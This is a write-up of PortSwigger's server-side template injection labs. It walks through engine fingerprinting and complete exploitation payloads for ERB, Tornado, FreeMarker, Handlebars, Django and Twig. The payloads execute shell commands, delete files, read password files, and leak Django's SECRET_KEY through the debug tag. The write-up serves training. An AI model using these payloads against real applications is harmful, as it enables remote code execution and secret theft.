PortSwigger SSTI Labs 1-7
Write-Up, Engine Fingerprinting & Custom Exploit Paths

This first lab is the cleanest example of why SSTI detection should start broad. I did not begin with a framework assumption. I started with a payload set that mixed different syntaxes, pushed them through Intruder, and watched for a response delta that looked like real server-side evaluation instead of harmless reflection.

The important part is not just that 49 appeared. It is that the rest of the response remained stable enough to treat the result as an evaluated expression inside the template rather than a parser crash. That turns the problem from "is this injectable?" into "which runtime rules am I standing inside?"

Why the final payload works

In ERB, <%= ... %> evaluates Ruby and prints the return value into the template. Backticks inside Ruby spawn a shell command and return the command's stdout. For 7 * 7, that return value is 49. For rm morale.txt, there is no meaningful stdout, so the page still renders but the side effect happens server-side.

<%= `rm morale.txt` %>

This lab is valuable because it teaches the difference between "template syntax works" and "my input is the whole template expression". The {{49}} output is not a failure. It is the exact clue that says the application is wrapping your input with its own braces or placing it inside an existing expression slot.

Once you notice that, the right move is to stop trying bigger arithmetic probes and instead escape the current context cleanly. That is why the payload begins with user.name}}: the first job is to end the expression the application already started for you.

user.name}}{% import os %}{{os.system('whoami')}}

user.name}}{% import os %}{{os.system('rm morale.txt')}}

This is the first lab where the framework tells on itself loudly enough that documentation becomes the main exploit path. An undefined variable reference in the template editor produces a full FreeMarker error page, including naming, formatting, and tips that are specific enough to eliminate most of the search space immediately.

After that, the solve is less about creativity and more about discipline: prove that the helper is available with a harmless command first, then switch to the destructive lab action once you know the primitive is real.

${grnsjV.stock} left of ${product.name} at ${product.price}.</p>

${"freemarker.template.utility.Execute"?new()("ls")} left of ${product.name} at ${product.price}.</p>

${"freemarker.template.utility.Execute"?new()("rm morale.txt")} left of ${product.name} at ${product.price}.</p>

This lab starts exactly where a lot of real SSTI work starts: the syntax is unknown, the payloads are noisy, and the easy probes mostly trigger failures. That is not a dead end. In template injection, a failure that carries a stack trace is often better than a successful reflection.

Here, Intruder gave me the signal I needed. The response stack trace exposed Handlebars directly. Once that was visible, the problem changed from raw discovery to adapting a known exploitation pattern that regains access to JavaScript's Function constructor and from there to child_process.exec().

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Why this chain works at all

Handlebars tries to stay logic-light, which is why plain arithmetic or obvious method calls are not enough. The constructor chain matters because it rebuilds a path to native JavaScript execution from objects and helpers the template runtime still exposes. The payload is long because it is assembling capability out of constrained pieces, not because the exploit is fundamentally complicated.

This lab is the reminder that SSTI is not always about shell commands. Sometimes the framework sandboxes the dangerous primitives well enough that the better outcome is targeted disclosure. In Django, the {% debug %} tag becomes the crucial recon move because it spills the rendering context and tells you which objects are worth reaching for.

The context dump immediately exposes a settings object. Once that exists, the shortest path is no longer clever code execution. It is simply {{ settings.SECRET_KEY }}. In a real application, leaking that key can create downstream abuse opportunities far beyond the template itself.

{{product.stock}} left of {{product.name}} at {{product.price}}.</p>

{% debug %}

{{product.stock}} left of {{product.name}} at {{product.price}}.</p>

{{ settings.SECRET_KEY }}

This lab feels different from the earlier FreeMarker one because the exploit path is not just "use the documented helper directly". Here the core trick is that product is not a dead data blob. It is a live Java-backed object, which means template access to product.class opens a path into the underlying runtime.

The screenshots show the whole reasoning chain: trigger an undefined-variable error, confirm arithmetic evaluation with ${7*7}, verify that the missing user object can still be handled safely with a default, and then use the classloader reached through product.class.protectionDomain.classLoader to load the pieces needed for command execution.

${product.stock} left of ${product.name} at ${product.price}.</p>

${7*7}

${(user.name)!"Guest"}

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat my_password.txt")}

Why the object pivot is the real vulnerability

The dangerous part is not just "FreeMarker exists". It is that the template can reach a real object graph with Java metadata attached. Once product.class is reachable, the exploit path starts looking less like templating and more like runtime reflection. That is why object exposure is such a recurring SSTI mistake: the template surface inherits capabilities from the object model underneath it.

This was the most satisfying lab in the set because the path is assembled from clues rather than one obvious payload. The application leaks just enough about avatar handling, method signatures, and file serving that the template injection becomes a way to repoint the user's avatar at arbitrary filesystem paths.

The solving path is worth studying because it mirrors real exploit development much more than the earlier documentation-driven labs do. Each screenshot below removes one uncertainty: first the upload path and MIME validation behavior, then the method signature, then the fact that the avatar endpoint will happily stream arbitrary file contents back as image/unknown.

user.setAvatar('/home/carlos/User.php')

user.setAvatar('/home/carlos/User.php','image/png')

Why this chain is more interesting than a one-shot gadget

The exploit is not "Twig gives RCE by default". The exploit is that a template-exposed object lets us call a state-changing method, and the method writes avatar metadata that another endpoint later trusts when serving files. In other words, the template injection is only one part of the bug. The full break requires understanding how two application features compose badly together.

The biggest shift across these labs is mental, not syntactic. Early on, it is tempting to see SSTI as a version of XSS with stranger delimiters. The labs break that habit quickly. What actually matters is which engine is present, where your input lands in template context, which helpers are reachable, what objects are exposed, and how much of the underlying runtime leaks through those objects.

That is why I wanted the screenshots in this write-up instead of a cleaned-up payload list alone. The screenshots preserve the path from clue to confidence: 49 in the right place, an error page that says FreeMarker, a stack trace that says Handlebars, a debug dump that exposes settings, and an avatar endpoint that should never have been a file reader in the first place.